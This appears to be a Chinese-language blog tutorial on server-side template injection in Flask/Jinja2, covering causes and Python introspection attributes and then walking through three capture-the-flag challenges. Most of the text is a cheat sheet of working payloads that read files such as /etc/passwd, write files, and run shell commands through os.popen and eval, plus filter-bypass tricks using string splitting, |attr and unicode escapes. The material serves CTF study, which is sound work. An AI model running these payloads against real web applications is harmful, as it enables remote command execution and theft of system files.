关于SSTI
SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。
sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。
SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。
SSTI当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
引发SSTI原因
引发SSTI漏洞的原因是因为render_template渲染函数的问题。渲染函数在渲染的时候,往往对用户输入的变量不做渲染。也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
SSTI类型--Python中的SSTI--jinja
1、Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;
欢迎来到 Jinja2 — Jinja2 2.7 documentation
2、Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。
3、Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。
SSTI类型判断
关于SSTI类型的判断,其实一张图就能够完全说明
根据他的返回值来判断
SSTI常用类
__class__:表示实例对象所属的类。
__base__:类型对象的直接基类。
__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。
__mro__:一个由类组成的元组,在方法解析期间用于查找基类。
__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。
__init__:初始化类的构造函数,返回类型为function的方法。
__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。
__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。
__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。
__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。
__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。
__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。
__str__():返回描述该对象的字符串,通常用于打印输出。
常用playload
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
这个是我目前见过最完整的playload(不管什么题构造的playload都是这种)
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}
关于拼接绕过
我们假设当class被过滤了时,我们可以使用拼接绕过,__class__ ————> ['__cla'+'ss__']
中间用+号连接
# 假设关键字class被过滤
{{ ().__class__ }}
# +号绕过,payload:
{{ ()['__cl'+'ass__'] }}
[HNCTF 2022 WEEK2]ez_SSTI
先打开环境,看了WP才知道参数是name(他们也是忙猜的。。。)
输入
?name={{7*7}}
根据上边图判断出模板类型是jinja2,其实题目也给了提示
接着我们找到了class 'os._wrap_close类,定位他的位置是137
输入
?mame={{""._class_._bases__[0].__subclasses__()[137]}}
确定一下
因为 os._wrap_close 类里有popen命令,我们可以直接使用popen命令执行,输入
?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('ls').read()}}
看到了flag
我们就直接读取flag,输入
?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('tac flag').read()}}
得到flag
[NCTF 2018]flask真香
打开环境,翻页发现,题目已经给了提示是SSTI模板注入的jinja2类型,那就直接不用判断了
输入
{{''.__class__}}
没有回显
慢慢试错后发现过滤了class、getattr、builtins、import、os
使用字符串拼接绕过,输入
{{()['__cla'+'ss__'].__bases__[0]['__subcl'+'asses__']()}}
接着找到了<class 'os._wrap_close'>,他的位置是在240
输入
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}
看到了flag
直接读取
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}
得到flag
[安洵杯 2020]Normal SSTI
关于这一题过滤了巨多的东西,看了很多WP,但还是不能够完全的理解,。。。。注入在我这儿永远是个坑。。。
首先呢,就是{{}}被过滤了,这儿我们可以使用{%%}进行绕过
然后呢就是.和[ ]被过滤了,所以,我们可以用|attr(“__class__”)进行绕过,这儿
|attr(“__class__”)就等于.__class__,并不是只有这一个,关于类似于要使用xxx.os(‘xxx’)类似的方法,都可以使用xxx|attr(“os”)(‘xxx’)来进行绕过
下划线被过滤了,这儿我们就需要使用unicode编码进行绕过
这一题我们需要使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
打开环境,给了提示,需要我们在url后面接text/url=
test?url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
#这儿是进行过了unicode编码的其实他就等于{{""._class_}}
接着我们继续寻找OS模块
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}
这儿的意思就是{{lipsum.__globals__}}
接下来我们引用popen来查看目录
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}
这儿等于{{lipsum.__globals__.get("os").popen("ls").read()}}
看到flag了呗,接下来还不简单
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}
这儿等于{{config.__class__.__init__.__globals__.get(“os”).popen('cat flag').read()}}
得到flag